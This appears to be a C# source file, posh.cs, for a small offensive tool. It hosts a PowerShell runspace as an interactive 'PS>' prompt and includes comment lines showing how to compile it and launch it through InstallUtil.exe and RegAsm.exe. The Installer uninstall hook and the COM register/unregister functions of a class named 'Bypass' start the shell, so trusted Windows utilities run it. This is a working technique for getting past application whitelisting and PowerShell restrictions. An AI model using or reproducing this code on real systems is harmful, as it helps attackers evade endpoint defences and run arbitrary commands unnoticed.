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posh.cs

using System;
using System.Text;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.EnterpriseServices;

namespace ps {
// Compiling with CSC.exe v4.0.30319 or v3.5
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll

// Running via InstallUtil.exe
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\posh.exe

// Compiling with CSC.exe v4.0.30319 or v3.5 for use with regasm.exe
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:C:\Temp\posh.dll C:\Temp\posh.cs /reference:System.Management.Automation.dll
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /target:library /out:c:\temp\posh.dll C:\temp\posh.cs /reference:System.Management.Automation.dll

// Running via RegAsm.exe
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\temp\posh.dll

	public class Program
	{
		public static Runspace newrunspace;
		public static void startrunspace()
		{
			newrunspace = RunspaceFactory.CreateRunspace();
			newrunspace.Open();
		}
		public static string InvokeAutomation(string cmd)
		{
			RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
			Pipeline pipeline = newrunspace.CreatePipeline();

			if (cmd == "$a;"){
				pipeline.Commands.AddScript(cmd);
			} else {
				pipeline.Commands.AddScript(cmd + " | Out-String");
			}
			
			Collection<PSObject> results = pipeline.Invoke();
			//newrunspace.Close();

			StringBuilder stringBuilder = new StringBuilder();
			foreach (PSObject obj in results)
			{
				stringBuilder.Append(obj);
			}
			return stringBuilder.ToString().Trim();
		}
		public static void Main()
		{	
			try
			{
				startrunspace();
				string ps = null;
				Console.Write("PS>");
				while(!String.IsNullOrEmpty(ps = "$a;" +Console.ReadLine().Trim()))
				{
					try
					{
						Console.WriteLine(InvokeAutomation(ps));
					}
					catch( Exception ex)
					{
						Console.Write(ex.Message);
					}
					Console.Write("PS>");
				}
			}
			catch
			{
				Main();
			}
		}  
	}
    public class Bypass : ServicedComponent
    {
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }
		
		[ComRegisterFunction]
		public static void RegisterClass ( string key )
		{
			Program.Main(); 
		}
		
		[ComUnregisterFunction]
		public static void UnRegisterClass ( string key )
		{
			Program.Main(); 
		}
    }
	
	
	[System.ComponentModel.RunInstaller(true)]
	public class Sample : System.Configuration.Install.Installer
	{
		public override void Uninstall(System.Collections.IDictionary savedState)
		{
			Program.Main();       
		}
		public static string InvokeAutomation(string cmd)
		{
			Runspace newrunspace = RunspaceFactory.CreateRunspace();
			newrunspace.Open();
			RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
			Pipeline pipeline = newrunspace.CreatePipeline();

			pipeline.Commands.AddScript(cmd);
			Collection<PSObject> results = pipeline.Invoke();
			newrunspace.Close();

			StringBuilder stringBuilder = new StringBuilder();
			foreach (PSObject obj in results)
			{
				stringBuilder.Append(obj);
			}
			return stringBuilder.ToString().Trim();
		}
	}
}